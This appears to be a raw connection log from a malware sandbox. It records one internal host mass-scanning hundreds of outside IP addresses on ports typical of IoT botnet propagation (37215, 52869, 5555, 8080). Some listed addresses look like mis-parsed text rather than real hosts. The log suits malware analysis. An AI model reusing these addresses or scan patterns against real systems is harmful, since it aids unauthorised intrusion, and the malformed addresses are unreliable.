Feb 12, 2023 21:24:47.151834965 CET	34000	8080	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:47.183868885 CET	50072	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:47.183883905 CET	47160	8080	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:47.183904886 CET	33284	8080	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:47.183938980 CET	58570	8080	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:47.215837002 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:47.215910912 CET	43526	80	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:47.216021061 CET	38098	80	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:47.216047049 CET	60786	80	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:47.216078043 CET	48374	80	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:47.216092110 CET	42800	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:47.216093063 CET	49920	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:47.216177940 CET	46916	80	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:47.216180086 CET	40822	80	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:47.216181040 CET	60838	80	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:47.216180086 CET	54934	80	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:47.253813028 CET	53888	52869	192.168.2.23	56.50.46.50
Feb 12, 2023 21:24:47.257276058 CET	43230	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:47.259659052 CET	43466	52869	192.168.2.23	56.55.46.49
Feb 12, 2023 21:24:47.262171030 CET	36196	52869	192.168.2.23	49.51.50.46
Feb 12, 2023 21:24:47.264055967 CET	50870	52869	192.168.2.23	49.46.50.52
Feb 12, 2023 21:24:47.265733004 CET	55348	52869	192.168.2.23	52.52.46.49
Feb 12, 2023 21:24:47.267270088 CET	34826	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:47.269598007 CET	47734	52869	192.168.2.23	50.51.49.46
Feb 12, 2023 21:24:47.271424055 CET	35624	52869	192.168.2.23	54.49.46.50
Feb 12, 2023 21:24:47.274003983 CET	35910	52869	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:47.289978981 CET	37215	52981	197.6.232.20	192.168.2.23
Feb 12, 2023 21:24:47.290050983 CET	37215	52981	197.6.232.20	192.168.2.23
Feb 12, 2023 21:24:47.290184975 CET	52981	37215	192.168.2.23	197.6.232.20
Feb 12, 2023 21:24:47.331597090 CET	37215	52981	42.148.88.238	192.168.2.23
Feb 12, 2023 21:24:47.343914032 CET	55196	8080	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:47.432940960 CET	52869	36196	49.51.50.46	192.168.2.23
Feb 12, 2023 21:24:47.503825903 CET	32862	37215	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:47.503920078 CET	60612	37215	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:47.535867929 CET	41520	37215	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:47.535871983 CET	50360	37215	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:47.577502012 CET	32926	8080	192.168.2.23	49.51.52.46
Feb 12, 2023 21:24:47.579509020 CET	49748	8080	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:47.583101034 CET	33952	8080	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:47.588156939 CET	41022	8080	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:47.595850945 CET	45326	8080	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:47.604690075 CET	39972	8080	192.168.2.23	50.49.53.46
Feb 12, 2023 21:24:47.609360933 CET	50188	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:47.615137100 CET	58810	8080	192.168.2.23	49.48.52.46
Feb 12, 2023 21:24:47.623058081 CET	36850	8080	192.168.2.23	49.50.46.50
Feb 12, 2023 21:24:47.631742001 CET	54770	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:47.631772995 CET	54772	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:47.631781101 CET	55528	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:47.631834030 CET	54768	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:47.632304907 CET	37294	8080	192.168.2.23	50.57.46.50
Feb 12, 2023 21:24:47.663805962 CET	55532	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:47.663806915 CET	54776	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:47.747436047 CET	8080	32926	49.51.52.46	192.168.2.23
Feb 12, 2023 21:24:47.747625113 CET	59446	80	192.168.2.23	49.51.52.46
Feb 12, 2023 21:24:47.790201902 CET	22272	5555	192.168.2.23	221.187.200.178
Feb 12, 2023 21:24:47.790200949 CET	22272	5555	192.168.2.23	174.32.118.173
Feb 12, 2023 21:24:47.790225983 CET	22272	5555	192.168.2.23	179.90.101.217
Feb 12, 2023 21:24:47.790237904 CET	22272	5555	192.168.2.23	36.253.60.90
Feb 12, 2023 21:24:47.790240049 CET	22272	5555	192.168.2.23	134.121.90.222
Feb 12, 2023 21:24:47.790237904 CET	22272	5555	192.168.2.23	58.137.41.97
Feb 12, 2023 21:24:47.790237904 CET	22272	5555	192.168.2.23	110.185.235.63
Feb 12, 2023 21:24:47.790270090 CET	22272	5555	192.168.2.23	208.50.131.157
Feb 12, 2023 21:24:47.790273905 CET	22272	5555	192.168.2.23	77.151.253.24
Feb 12, 2023 21:24:47.790273905 CET	22272	5555	192.168.2.23	104.117.5.173
Feb 12, 2023 21:24:47.790270090 CET	22272	5555	192.168.2.23	134.5.131.20
Feb 12, 2023 21:24:47.790270090 CET	22272	5555	192.168.2.23	91.214.236.210
Feb 12, 2023 21:24:47.790281057 CET	22272	5555	192.168.2.23	167.124.204.244
Feb 12, 2023 21:24:47.790281057 CET	22272	5555	192.168.2.23	103.30.111.151
Feb 12, 2023 21:24:47.790297031 CET	22272	5555	192.168.2.23	140.31.235.164
Feb 12, 2023 21:24:47.790297031 CET	22272	5555	192.168.2.23	101.29.157.135
Feb 12, 2023 21:24:47.790314913 CET	22272	5555	192.168.2.23	2.185.192.133
Feb 12, 2023 21:24:47.790318012 CET	22272	5555	192.168.2.23	62.53.182.88
Feb 12, 2023 21:24:47.790318012 CET	22272	5555	192.168.2.23	108.23.199.118
Feb 12, 2023 21:24:47.790318966 CET	22272	5555	192.168.2.23	205.209.133.177
Feb 12, 2023 21:24:47.790318966 CET	22272	5555	192.168.2.23	150.72.223.98
Feb 12, 2023 21:24:47.790318966 CET	22272	5555	192.168.2.23	89.65.253.226
Feb 12, 2023 21:24:47.790339947 CET	22272	5555	192.168.2.23	71.229.211.231
Feb 12, 2023 21:24:47.790344954 CET	22272	5555	192.168.2.23	116.30.255.247
Feb 12, 2023 21:24:47.790344954 CET	22272	5555	192.168.2.23	180.218.14.126
Feb 12, 2023 21:24:47.790344954 CET	22272	5555	192.168.2.23	31.47.19.100
Feb 12, 2023 21:24:47.790371895 CET	22272	5555	192.168.2.23	155.171.215.199
Feb 12, 2023 21:24:47.790402889 CET	22272	5555	192.168.2.23	19.48.228.135
Feb 12, 2023 21:24:47.790419102 CET	22272	5555	192.168.2.23	118.199.230.207
Feb 12, 2023 21:24:47.790453911 CET	22272	5555	192.168.2.23	118.12.205.190
Feb 12, 2023 21:24:47.790461063 CET	22272	5555	192.168.2.23	8.48.187.75
Feb 12, 2023 21:24:47.790469885 CET	22272	5555	192.168.2.23	203.127.174.39
Feb 12, 2023 21:24:47.790478945 CET	22272	5555	192.168.2.23	99.156.180.251
Feb 12, 2023 21:24:47.790484905 CET	22272	5555	192.168.2.23	12.58.123.49
Feb 12, 2023 21:24:47.790503979 CET	22272	5555	192.168.2.23	218.241.228.233
Feb 12, 2023 21:24:47.790518045 CET	22272	5555	192.168.2.23	81.128.4.240
Feb 12, 2023 21:24:47.790525913 CET	22272	5555	192.168.2.23	219.113.117.135
Feb 12, 2023 21:24:47.790630102 CET	22272	5555	192.168.2.23	193.5.77.216
Feb 12, 2023 21:24:47.790630102 CET	22272	5555	192.168.2.23	99.70.13.156
Feb 12, 2023 21:24:47.790662050 CET	22272	5555	192.168.2.23	177.241.47.78
Feb 12, 2023 21:24:47.790683031 CET	22272	5555	192.168.2.23	89.111.98.235
Feb 12, 2023 21:24:47.790714979 CET	22272	5555	192.168.2.23	141.113.166.94
Feb 12, 2023 21:24:47.790724993 CET	22272	5555	192.168.2.23	12.143.9.203
Feb 12, 2023 21:24:47.790740013 CET	22272	5555	192.168.2.23	4.188.153.92
Feb 12, 2023 21:24:47.790751934 CET	22272	5555	192.168.2.23	86.153.185.183
Feb 12, 2023 21:24:47.790798903 CET	22272	5555	192.168.2.23	36.121.149.40
Feb 12, 2023 21:24:47.790810108 CET	22272	5555	192.168.2.23	32.44.95.244
Feb 12, 2023 21:24:47.790810108 CET	22272	5555	192.168.2.23	158.243.154.205
Feb 12, 2023 21:24:47.790810108 CET	22272	5555	192.168.2.23	104.200.119.196
Feb 12, 2023 21:24:47.790893078 CET	22272	5555	192.168.2.23	151.157.194.39
Feb 12, 2023 21:24:47.790903091 CET	22272	5555	192.168.2.23	74.149.60.101
Feb 12, 2023 21:24:47.790923119 CET	22272	5555	192.168.2.23	78.151.36.87
Feb 12, 2023 21:24:47.790931940 CET	22272	5555	192.168.2.23	90.255.157.88
Feb 12, 2023 21:24:47.790962934 CET	22272	5555	192.168.2.23	194.97.98.131
Feb 12, 2023 21:24:47.790985107 CET	22272	5555	192.168.2.23	83.154.11.184
Feb 12, 2023 21:24:47.790985107 CET	22272	5555	192.168.2.23	74.252.195.160
Feb 12, 2023 21:24:47.791007042 CET	22272	5555	192.168.2.23	207.67.106.149
Feb 12, 2023 21:24:47.791040897 CET	22272	5555	192.168.2.23	57.192.59.229
Feb 12, 2023 21:24:47.791064024 CET	22272	5555	192.168.2.23	139.208.70.159
Feb 12, 2023 21:24:47.791122913 CET	22272	5555	192.168.2.23	46.89.155.44
Feb 12, 2023 21:24:47.791138887 CET	22272	5555	192.168.2.23	110.25.86.206
Feb 12, 2023 21:24:47.791162968 CET	22272	5555	192.168.2.23	145.223.208.234
Feb 12, 2023 21:24:47.791166067 CET	22272	5555	192.168.2.23	121.171.149.80
Feb 12, 2023 21:24:47.791165113 CET	22272	5555	192.168.2.23	39.111.103.61
Feb 12, 2023 21:24:47.791167974 CET	22272	5555	192.168.2.23	220.168.133.221
Feb 12, 2023 21:24:47.791172028 CET	22272	5555	192.168.2.23	181.105.230.232
Feb 12, 2023 21:24:47.791165113 CET	22272	5555	192.168.2.23	84.94.60.123
Feb 12, 2023 21:24:47.791177988 CET	22272	5555	192.168.2.23	187.126.82.37
Feb 12, 2023 21:24:47.791193962 CET	22272	5555	192.168.2.23	178.74.240.212
Feb 12, 2023 21:24:47.791204929 CET	22272	5555	192.168.2.23	170.95.101.182
Feb 12, 2023 21:24:47.791205883 CET	22272	5555	192.168.2.23	93.201.2.61
Feb 12, 2023 21:24:47.791214943 CET	22272	5555	192.168.2.23	173.253.182.191
Feb 12, 2023 21:24:47.791214943 CET	22272	5555	192.168.2.23	90.214.177.60
Feb 12, 2023 21:24:47.791240931 CET	22272	5555	192.168.2.23	176.152.39.240
Feb 12, 2023 21:24:47.791265965 CET	22272	5555	192.168.2.23	119.202.9.202
Feb 12, 2023 21:24:47.791295052 CET	22272	5555	192.168.2.23	100.161.157.66
Feb 12, 2023 21:24:47.791296959 CET	22272	5555	192.168.2.23	76.131.100.114
Feb 12, 2023 21:24:47.791318893 CET	22272	5555	192.168.2.23	90.28.99.249
Feb 12, 2023 21:24:47.791348934 CET	22272	5555	192.168.2.23	141.7.78.140
Feb 12, 2023 21:24:47.791384935 CET	22272	5555	192.168.2.23	185.54.244.249
Feb 12, 2023 21:24:47.791384935 CET	22272	5555	192.168.2.23	46.83.149.206
Feb 12, 2023 21:24:47.791410923 CET	22272	5555	192.168.2.23	100.168.39.26
Feb 12, 2023 21:24:47.791410923 CET	22272	5555	192.168.2.23	140.114.112.14
Feb 12, 2023 21:24:47.791410923 CET	22272	5555	192.168.2.23	67.80.156.236
Feb 12, 2023 21:24:47.791413069 CET	22272	5555	192.168.2.23	165.224.98.178
Feb 12, 2023 21:24:47.791435003 CET	22272	5555	192.168.2.23	167.232.9.107
Feb 12, 2023 21:24:47.791435003 CET	22272	5555	192.168.2.23	161.48.154.186
Feb 12, 2023 21:24:47.791440010 CET	22272	5555	192.168.2.23	102.143.148.118
Feb 12, 2023 21:24:47.791440010 CET	22272	5555	192.168.2.23	209.25.2.250
Feb 12, 2023 21:24:47.791474104 CET	22272	5555	192.168.2.23	14.53.85.7
Feb 12, 2023 21:24:47.791498899 CET	22272	5555	192.168.2.23	129.47.23.43
Feb 12, 2023 21:24:47.791505098 CET	22272	5555	192.168.2.23	200.133.110.123
Feb 12, 2023 21:24:47.791510105 CET	22272	5555	192.168.2.23	74.185.215.159
Feb 12, 2023 21:24:47.791526079 CET	22272	5555	192.168.2.23	130.29.86.214
Feb 12, 2023 21:24:47.791554928 CET	22272	5555	192.168.2.23	196.127.20.42
Feb 12, 2023 21:24:47.791577101 CET	22272	5555	192.168.2.23	49.154.2.225
Feb 12, 2023 21:24:47.791594982 CET	22272	5555	192.168.2.23	131.101.44.211
Feb 12, 2023 21:24:47.791635990 CET	22272	5555	192.168.2.23	51.71.249.116
Feb 12, 2023 21:24:47.791636944 CET	22272	5555	192.168.2.23	131.89.5.19
Feb 12, 2023 21:24:47.791656017 CET	22272	5555	192.168.2.23	156.30.126.185
Feb 12, 2023 21:24:47.791708946 CET	22272	5555	192.168.2.23	4.200.232.13
Feb 12, 2023 21:24:47.791771889 CET	22272	5555	192.168.2.23	150.49.32.67
Feb 12, 2023 21:24:47.791774035 CET	22272	5555	192.168.2.23	138.43.31.254
Feb 12, 2023 21:24:47.791791916 CET	22272	5555	192.168.2.23	203.111.124.206
Feb 12, 2023 21:24:47.791795015 CET	22272	5555	192.168.2.23	126.83.39.253
Feb 12, 2023 21:24:47.791796923 CET	22272	5555	192.168.2.23	43.198.39.172
Feb 12, 2023 21:24:47.791805029 CET	22272	5555	192.168.2.23	157.197.35.232
Feb 12, 2023 21:24:47.791814089 CET	22272	5555	192.168.2.23	4.152.8.94
Feb 12, 2023 21:24:47.791842937 CET	22272	5555	192.168.2.23	177.133.189.65
Feb 12, 2023 21:24:47.791853905 CET	22272	5555	192.168.2.23	175.180.67.135
Feb 12, 2023 21:24:47.791882992 CET	22272	5555	192.168.2.23	212.88.185.226
Feb 12, 2023 21:24:47.791913986 CET	22272	5555	192.168.2.23	208.99.84.98
Feb 12, 2023 21:24:47.791924953 CET	22272	5555	192.168.2.23	119.244.197.88
Feb 12, 2023 21:24:47.791924953 CET	22272	5555	192.168.2.23	140.68.121.196
Feb 12, 2023 21:24:47.791980028 CET	22272	5555	192.168.2.23	217.228.190.224
Feb 12, 2023 21:24:47.791981936 CET	22272	5555	192.168.2.23	195.107.122.30
Feb 12, 2023 21:24:47.791981936 CET	22272	5555	192.168.2.23	36.177.94.13
Feb 12, 2023 21:24:47.792025089 CET	22272	5555	192.168.2.23	72.82.76.225
Feb 12, 2023 21:24:47.792032003 CET	22272	5555	192.168.2.23	41.223.8.196
Feb 12, 2023 21:24:47.792042971 CET	22272	5555	192.168.2.23	107.84.173.149
Feb 12, 2023 21:24:47.792063951 CET	22272	5555	192.168.2.23	4.227.236.22
Feb 12, 2023 21:24:47.792063951 CET	22272	5555	192.168.2.23	92.192.145.140
Feb 12, 2023 21:24:47.792078018 CET	22272	5555	192.168.2.23	203.48.22.212
Feb 12, 2023 21:24:47.792107105 CET	22272	5555	192.168.2.23	68.216.75.185
Feb 12, 2023 21:24:47.792129993 CET	22272	5555	192.168.2.23	201.204.245.206
Feb 12, 2023 21:24:47.792143106 CET	22272	5555	192.168.2.23	58.151.154.139
Feb 12, 2023 21:24:47.792159081 CET	22272	5555	192.168.2.23	59.230.75.31
Feb 12, 2023 21:24:47.792202950 CET	22272	5555	192.168.2.23	2.46.222.148
Feb 12, 2023 21:24:47.792202950 CET	22272	5555	192.168.2.23	86.117.210.94
Feb 12, 2023 21:24:47.792207003 CET	22272	5555	192.168.2.23	88.236.203.65
Feb 12, 2023 21:24:47.792207003 CET	22272	5555	192.168.2.23	132.66.20.5
Feb 12, 2023 21:24:47.792207003 CET	22272	5555	192.168.2.23	82.42.83.95
Feb 12, 2023 21:24:47.792232037 CET	22272	5555	192.168.2.23	49.124.75.58
Feb 12, 2023 21:24:47.792248011 CET	22272	5555	192.168.2.23	111.131.57.109
Feb 12, 2023 21:24:47.792268991 CET	22272	5555	192.168.2.23	145.10.83.170
Feb 12, 2023 21:24:47.792304039 CET	22272	5555	192.168.2.23	73.164.27.81
Feb 12, 2023 21:24:47.792305946 CET	22272	5555	192.168.2.23	176.60.99.89
Feb 12, 2023 21:24:47.792335987 CET	22272	5555	192.168.2.23	147.106.203.11
Feb 12, 2023 21:24:47.792337894 CET	22272	5555	192.168.2.23	81.160.37.148
Feb 12, 2023 21:24:47.792354107 CET	22272	5555	192.168.2.23	173.132.240.208
Feb 12, 2023 21:24:47.792387009 CET	22272	5555	192.168.2.23	203.223.203.134
Feb 12, 2023 21:24:47.792416096 CET	22272	5555	192.168.2.23	145.236.174.187
Feb 12, 2023 21:24:47.792439938 CET	22272	5555	192.168.2.23	167.134.220.161
Feb 12, 2023 21:24:47.792439938 CET	22272	5555	192.168.2.23	62.169.126.117
Feb 12, 2023 21:24:47.792467117 CET	22272	5555	192.168.2.23	187.95.42.192
Feb 12, 2023 21:24:47.792499065 CET	22272	5555	192.168.2.23	101.71.21.57
Feb 12, 2023 21:24:47.792509079 CET	22272	5555	192.168.2.23	163.50.98.118
Feb 12, 2023 21:24:47.792509079 CET	22272	5555	192.168.2.23	110.204.171.3
Feb 12, 2023 21:24:47.792532921 CET	22272	5555	192.168.2.23	169.61.159.54
Feb 12, 2023 21:24:47.792557955 CET	22272	5555	192.168.2.23	74.27.57.238
Feb 12, 2023 21:24:47.792582989 CET	22272	5555	192.168.2.23	78.186.235.155
Feb 12, 2023 21:24:47.792599916 CET	22272	5555	192.168.2.23	147.102.127.63
Feb 12, 2023 21:24:47.792623043 CET	22272	5555	192.168.2.23	191.191.23.55
Feb 12, 2023 21:24:47.792625904 CET	22272	5555	192.168.2.23	161.145.224.78
Feb 12, 2023 21:24:47.792649984 CET	22272	5555	192.168.2.23	187.81.113.57
Feb 12, 2023 21:24:47.792653084 CET	22272	5555	192.168.2.23	43.15.195.79
Feb 12, 2023 21:24:47.792653084 CET	22272	5555	192.168.2.23	70.214.156.64
Feb 12, 2023 21:24:47.792673111 CET	22272	5555	192.168.2.23	168.29.59.182
Feb 12, 2023 21:24:47.792695999 CET	22272	5555	192.168.2.23	73.154.187.195
Feb 12, 2023 21:24:47.792717934 CET	22272	5555	192.168.2.23	85.44.134.35
Feb 12, 2023 21:24:47.793281078 CET	8080	58810	49.48.52.46	192.168.2.23
Feb 12, 2023 21:24:47.793508053 CET	44990	80	192.168.2.23	49.48.52.46
Feb 12, 2023 21:24:47.823800087 CET	47884	7574	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:47.855907917 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:47.918217897 CET	80	59446	49.51.52.46	192.168.2.23
Feb 12, 2023 21:24:47.919819117 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:47.953447104 CET	49396	80	192.168.2.23	50.46.49.57
Feb 12, 2023 21:24:47.953463078 CET	49930	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:47.953463078 CET	46248	80	192.168.2.23	51.55.46.54
Feb 12, 2023 21:24:47.955770016 CET	57368	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:47.955777884 CET	58642	80	192.168.2.23	49.46.49.56
Feb 12, 2023 21:24:47.955817938 CET	49922	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:47.965889931 CET	48072	37215	192.168.2.23	49.51.52.46
Feb 12, 2023 21:24:47.970892906 CET	50448	37215	192.168.2.23	51.46.52.55
Feb 12, 2023 21:24:47.973825932 CET	43242	37215	192.168.2.23	53.52.46.49
Feb 12, 2023 21:24:47.976703882 CET	58560	37215	192.168.2.23	52.57.46.50
Feb 12, 2023 21:24:47.979237080 CET	59408	37215	192.168.2.23	50.49.51.46
Feb 12, 2023 21:24:47.983762980 CET	45016	5555	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:47.999881029 CET	5555	22272	43.198.39.172	192.168.2.23
Feb 12, 2023 21:24:48.026217937 CET	52981	37215	192.168.2.23	197.57.8.233
Feb 12, 2023 21:24:48.026230097 CET	52981	37215	192.168.2.23	197.126.250.139
Feb 12, 2023 21:24:48.026230097 CET	52981	37215	192.168.2.23	112.151.126.209
Feb 12, 2023 21:24:48.026235104 CET	52981	37215	192.168.2.23	41.132.126.22
Feb 12, 2023 21:24:48.026283026 CET	52981	37215	192.168.2.23	157.140.61.21
Feb 12, 2023 21:24:48.026289940 CET	52981	37215	192.168.2.23	197.201.241.235
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	41.202.119.130
Feb 12, 2023 21:24:48.026293993 CET	52981	37215	192.168.2.23	197.142.71.53
Feb 12, 2023 21:24:48.026293993 CET	52981	37215	192.168.2.23	157.45.1.94
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	157.255.162.91
Feb 12, 2023 21:24:48.026293993 CET	52981	37215	192.168.2.23	157.6.164.18
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	41.36.145.135
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	41.48.207.180
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	208.155.20.5
Feb 12, 2023 21:24:48.026290894 CET	52981	37215	192.168.2.23	197.226.186.234
Feb 12, 2023 21:24:48.026293993 CET	52981	37215	192.168.2.23	41.76.212.6
Feb 12, 2023 21:24:48.026293993 CET	52981	37215	192.168.2.23	190.234.52.240
Feb 12, 2023 21:24:48.026304960 CET	52981	37215	192.168.2.23	197.244.154.47
Feb 12, 2023 21:24:48.026294947 CET	52981	37215	192.168.2.23	99.176.51.165
Feb 12, 2023 21:24:48.026310921 CET	52981	37215	192.168.2.23	157.110.226.165
Feb 12, 2023 21:24:48.026340961 CET	52981	37215	192.168.2.23	157.176.216.180
Feb 12, 2023 21:24:48.026375055 CET	52981	37215	192.168.2.23	197.96.96.173
Feb 12, 2023 21:24:48.026375055 CET	52981	37215	192.168.2.23	197.168.186.197
Feb 12, 2023 21:24:48.026381969 CET	52981	37215	192.168.2.23	197.206.177.159
Feb 12, 2023 21:24:48.026381969 CET	52981	37215	192.168.2.23	41.24.131.164
Feb 12, 2023 21:24:48.026422024 CET	52981	37215	192.168.2.23	197.206.132.79
Feb 12, 2023 21:24:48.026428938 CET	52981	37215	192.168.2.23	197.139.232.130
Feb 12, 2023 21:24:48.026439905 CET	52981	37215	192.168.2.23	197.52.95.181
Feb 12, 2023 21:24:48.026439905 CET	52981	37215	192.168.2.23	181.7.63.54
Feb 12, 2023 21:24:48.026443005 CET	52981	37215	192.168.2.23	197.99.14.22
Feb 12, 2023 21:24:48.026443958 CET	52981	37215	192.168.2.23	197.84.45.133
Feb 12, 2023 21:24:48.026447058 CET	52981	37215	192.168.2.23	197.57.28.169
Feb 12, 2023 21:24:48.026525974 CET	52981	37215	192.168.2.23	157.29.209.234
Feb 12, 2023 21:24:48.026590109 CET	52981	37215	192.168.2.23	41.142.93.210
Feb 12, 2023 21:24:48.026590109 CET	52981	37215	192.168.2.23	41.118.167.148
Feb 12, 2023 21:24:48.026606083 CET	52981	37215	192.168.2.23	138.193.209.57
Feb 12, 2023 21:24:48.026608944 CET	52981	37215	192.168.2.23	115.60.56.146
Feb 12, 2023 21:24:48.026629925 CET	52981	37215	192.168.2.23	157.227.63.157
Feb 12, 2023 21:24:48.026642084 CET	52981	37215	192.168.2.23	41.237.51.16
Feb 12, 2023 21:24:48.026657104 CET	52981	37215	192.168.2.23	145.34.163.50
Feb 12, 2023 21:24:48.026669979 CET	52981	37215	192.168.2.23	27.170.123.118
Feb 12, 2023 21:24:48.026669979 CET	52981	37215	192.168.2.23	41.198.190.172
Feb 12, 2023 21:24:48.026669979 CET	52981	37215	192.168.2.23	197.218.101.67
Feb 12, 2023 21:24:48.026675940 CET	52981	37215	192.168.2.23	197.3.144.62
Feb 12, 2023 21:24:48.026679039 CET	52981	37215	192.168.2.23	90.34.236.52
Feb 12, 2023 21:24:48.026702881 CET	52981	37215	192.168.2.23	157.126.35.91
Feb 12, 2023 21:24:48.026730061 CET	52981	37215	192.168.2.23	41.61.118.113
Feb 12, 2023 21:24:48.026730061 CET	52981	37215	192.168.2.23	39.207.71.192
Feb 12, 2023 21:24:48.026730061 CET	52981	37215	192.168.2.23	41.107.67.192
Feb 12, 2023 21:24:48.026741028 CET	52981	37215	192.168.2.23	197.37.91.101
Feb 12, 2023 21:24:48.026741028 CET	52981	37215	192.168.2.23	41.95.78.115
Feb 12, 2023 21:24:48.026751041 CET	52981	37215	192.168.2.23	101.66.179.131
Feb 12, 2023 21:24:48.026789904 CET	52981	37215	192.168.2.23	157.92.44.90
Feb 12, 2023 21:24:48.026802063 CET	52981	37215	192.168.2.23	126.40.169.31
Feb 12, 2023 21:24:48.026801109 CET	52981	37215	192.168.2.23	41.85.175.96
Feb 12, 2023 21:24:48.026845932 CET	52981	37215	192.168.2.23	217.0.200.180
Feb 12, 2023 21:24:48.026849031 CET	52981	37215	192.168.2.23	157.214.190.53
Feb 12, 2023 21:24:48.026926041 CET	52981	37215	192.168.2.23	157.233.210.170
Feb 12, 2023 21:24:48.026926041 CET	52981	37215	192.168.2.23	197.0.141.132
Feb 12, 2023 21:24:48.026926041 CET	52981	37215	192.168.2.23	197.249.23.207
Feb 12, 2023 21:24:48.026947021 CET	52981	37215	192.168.2.23	157.104.98.61
Feb 12, 2023 21:24:48.026947021 CET	52981	37215	192.168.2.23	41.249.179.168
Feb 12, 2023 21:24:48.026982069 CET	52981	37215	192.168.2.23	197.159.153.214
Feb 12, 2023 21:24:48.026985884 CET	52981	37215	192.168.2.23	41.227.27.137
Feb 12, 2023 21:24:48.026995897 CET	52981	37215	192.168.2.23	41.3.49.212
Feb 12, 2023 21:24:48.026995897 CET	52981	37215	192.168.2.23	189.113.169.147
Feb 12, 2023 21:24:48.026995897 CET	52981	37215	192.168.2.23	197.100.81.99
Feb 12, 2023 21:24:48.026998997 CET	52981	37215	192.168.2.23	157.11.2.127
Feb 12, 2023 21:24:48.026998997 CET	52981	37215	192.168.2.23	41.115.54.128
Feb 12, 2023 21:24:48.027008057 CET	52981	37215	192.168.2.23	197.156.133.73
Feb 12, 2023 21:24:48.027009964 CET	52981	37215	192.168.2.23	110.213.246.13
Feb 12, 2023 21:24:48.027008057 CET	52981	37215	192.168.2.23	41.76.127.253
Feb 12, 2023 21:24:48.027029991 CET	52981	37215	192.168.2.23	197.9.11.127
Feb 12, 2023 21:24:48.027036905 CET	52981	37215	192.168.2.23	157.166.191.54
Feb 12, 2023 21:24:48.027040005 CET	52981	37215	192.168.2.23	20.64.229.28
Feb 12, 2023 21:24:48.027086020 CET	52981	37215	192.168.2.23	197.37.214.218
Feb 12, 2023 21:24:48.027096033 CET	52981	37215	192.168.2.23	157.194.217.219
Feb 12, 2023 21:24:48.027106047 CET	52981	37215	192.168.2.23	179.157.165.250
Feb 12, 2023 21:24:48.027118921 CET	52981	37215	192.168.2.23	197.22.49.164
Feb 12, 2023 21:24:48.027169943 CET	52981	37215	192.168.2.23	74.17.221.249
Feb 12, 2023 21:24:48.027180910 CET	52981	37215	192.168.2.23	41.202.67.202
Feb 12, 2023 21:24:48.027226925 CET	52981	37215	192.168.2.23	41.141.91.97
Feb 12, 2023 21:24:48.027230024 CET	52981	37215	192.168.2.23	157.36.79.171
Feb 12, 2023 21:24:48.027256012 CET	52981	37215	192.168.2.23	157.16.68.242
Feb 12, 2023 21:24:48.027256012 CET	52981	37215	192.168.2.23	197.6.237.228
Feb 12, 2023 21:24:48.027256012 CET	52981	37215	192.168.2.23	157.198.154.44
Feb 12, 2023 21:24:48.027256012 CET	52981	37215	192.168.2.23	63.116.44.223
Feb 12, 2023 21:24:48.027256012 CET	52981	37215	192.168.2.23	197.218.50.252
Feb 12, 2023 21:24:48.027256966 CET	52981	37215	192.168.2.23	157.45.200.213
Feb 12, 2023 21:24:48.027288914 CET	52981	37215	192.168.2.23	41.173.56.218
Feb 12, 2023 21:24:48.027295113 CET	52981	37215	192.168.2.23	167.199.151.185
Feb 12, 2023 21:24:48.027295113 CET	52981	37215	192.168.2.23	157.49.47.43
Feb 12, 2023 21:24:48.027324915 CET	52981	37215	192.168.2.23	41.190.190.97
Feb 12, 2023 21:24:48.027358055 CET	52981	37215	192.168.2.23	197.11.255.203
Feb 12, 2023 21:24:48.027393103 CET	52981	37215	192.168.2.23	95.145.244.251
Feb 12, 2023 21:24:48.027394056 CET	52981	37215	192.168.2.23	197.130.74.190
Feb 12, 2023 21:24:48.027394056 CET	52981	37215	192.168.2.23	197.214.239.255
Feb 12, 2023 21:24:48.027405024 CET	52981	37215	192.168.2.23	157.137.35.69
Feb 12, 2023 21:24:48.027411938 CET	52981	37215	192.168.2.23	62.19.95.192
Feb 12, 2023 21:24:48.027420998 CET	52981	37215	192.168.2.23	197.191.169.156
